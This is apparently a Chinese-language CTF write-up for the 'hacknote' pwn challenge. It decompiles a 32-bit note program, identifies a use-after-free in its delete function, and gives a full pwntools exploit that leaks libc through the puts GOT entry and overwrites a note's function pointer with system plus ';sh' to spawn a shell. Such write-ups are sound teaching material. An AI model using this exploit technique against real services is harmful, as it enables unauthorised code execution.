1 程序分析 32位,没开 PIE,给的 libc 版本为 2.23
1 2 3 4 5 6 7 8 9 (pwn) secreu@Vanilla:~/code/pwnable/hacknote$ checksec --file=hacknote [*] '/home/secreu/code/pwnable/hacknote/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8046000) (pwn) secreu@Vanilla:~/code/pwnable/hacknote$ strings libc_32.so.6 | grep "Ubuntu GLIBC" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
main 函数首先调用 sub_8048956 打印菜单,告诉我们有 4 个选择
Add note:sub_8048646
Delete note:sub_80487D4
Print note:sub_80488A5
Exit:直接执行 exit(0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void __noreturn main () { int v0; char buf[4 ]; unsigned int v2; v2 = __readgsdword(0x14u ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); while ( 1 ) { while ( 1 ) { sub_8048956(); read(0 , buf, 4u ); v0 = atoi(buf); if ( v0 != 2 ) break ; sub_80487D4(); } if ( v0 > 2 ) { if ( v0 == 3 ) { sub_80488A5(); } else { if ( v0 == 4 ) exit (0 ); LABEL_13: puts ("Invalid choice" ); } } else { if ( v0 != 1 ) goto LABEL_13; sub_8048646(); } } }
先看 Add note,最多允许添加 5 个 note,在 .bss 段上存放了 malloc(8) 得来的 chunk 地址,这 8 字节前 4 字节为 sub_804862B 函数地址,后 4 字节是根据用户输入 malloc(size) 得到的 chunk 地址,然后将用户输入的 content 写进里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned int sub_8048646 () { int v0; int i; int size; char buf[8 ]; unsigned int v5; v5 = __readgsdword(0x14u ); if ( dword_804A04C <= 5 ) { for ( i = 0 ; i <= 4 ; ++i ) { if ( !*(&ptr + i) ) { *(&ptr + i) = malloc (8u ); if ( !*(&ptr + i) ) { puts ("Alloca Error" ); exit (-1 ); } *(_DWORD *)*(&ptr + i) = sub_804862B; printf ("Note size :" ); read(0 , buf, 8u ); size = atoi(buf); v0 = (int )*(&ptr + i); *(_DWORD *)(v0 + 4 ) = malloc (size); if ( !*((_DWORD *)*(&ptr + i) + 1 ) ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , *((void **)*(&ptr + i) + 1 ), size); puts ("Success !" ); ++dword_804A04C; return __readgsdword(0x14u ) ^ v5; } } } else { puts ("Full" ); } return __readgsdword(0x14u ) ^ v5; }
Delete note,用户指定 index 删除 note,先 free 存放 content 的 chunk,再 free 管理用的 8 字节 chunk,两个 free 都没有置 0,存在 UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int sub_80487D4 () { int v1; char buf[4 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read(0 , buf, 4u ); v1 = atoi(buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&ptr + v1) ) { free (*((void **)*(&ptr + v1) + 1 )); free (*(&ptr + v1)); puts ("Success" ); } return __readgsdword(0x14u ) ^ v3; }
Print note,用户指定 index,直接调用 note 管理 chunk 前 4 字节存放的函数地址,也就是 sub_804862B,传入的参数是该 note 管理 chunk 的地址,其作用是打印后 4 字节存放的地址指向的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned int sub_80488A5 () { int v1; char buf[4 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read(0 , buf, 4u ); v1 = atoi(buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&ptr + v1) ) (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1)); return __readgsdword(0x14u ) ^ v3; } int __cdecl sub_804862B (int a1) { return puts (*(const char **)(a1 + 4 )); }
2 漏洞思路 思路很简单,就是利用它的 UAF,控制管理 note 用的堆块,这样就能够劫持执行流
2.1 泄露 Libc 由于 Add note 会做两次 malloc,所以我们要先 Delete note 两次,释放两个 8 size chunk,再 Add note 一次,并且指定 content size 为 8,这样就能够控制前面释放的其中一个 8 size chunk,能够指定上面的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def add (size, content ): io.sendlineafter(b'Your choice :' , b'1' ) io.sendlineafter(b'Note size :' , str (size).encode()) io.sendafter(b'Content :' , content) def delete (idx ): io.sendlineafter(b'Your choice :' , b'2' ) io.sendlineafter(b'Index :' , str (idx).encode()) def show (idx ): io.sendlineafter(b'Your choice :' , b'3' ) io.sendlineafter(b'Index :' , str (idx).encode()) def quit (): io.sendlineafter(b'Your choice :' , b'4' ) def exploit (): add(0x20 , b'A' * 8 ) add(0x20 , b'B' * 8 ) delete(0 ) delete(1 ) fake_func = p32(0x804862B ) fake_data = p32(elf.got['puts' ]) payload = fake_func + fake_data add(0x8 , payload) show(0 ) puts_leak = u32(io.recvline()[:4 ].strip().ljust(4 , b'\x00' )) log.success(f"puts leak: {hex (puts_leak)} " )
我们先 Delete note 0 再 Delete note 1,这样下次 Add note 2 我们输入 size 为 8 就能控制 0 号 note 的管理 chunk。 前 4 字节还是 sub_804862B 函数地址,后 4 字节覆盖为 puts 在 got 表的位置,这样我们 Print note 0 就可以泄露 puts 的真实地址
2.2 劫持执行流 拿到 puts 的真实地址后就可以计算出 libc 基址以及 system 地址,先 Delete note 2 然后再 Add 一遍重写其中的内容,前 4 字节改为 system 地址,由于 Print note 传参是 chunk 地址,所以不可避免会先执行 system(addr of system),但是后 4 字节仍可以用于获取 shell,写为 ;sh\x00 即可,其中分号用于分割前面的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def exploit (): add(0x20 , b'A' * 8 ) add(0x20 , b'B' * 8 ) delete(0 ) delete(1 ) fake_func = p32(0x804862B ) fake_data = p32(elf.got['puts' ]) payload = fake_func + fake_data add(0x8 , payload) show(0 ) puts_leak = u32(io.recvline()[:4 ].strip().ljust(4 , b'\x00' )) log.success(f"puts leak: {hex (puts_leak)} " ) libc_base = puts_leak - libc.symbols['puts' ] system_addr = libc_base + libc.symbols['system' ] delete(2 ) payload = p32(system_addr) + b";sh\x00" add(0x8 , payload) show(0 ) io.interactive()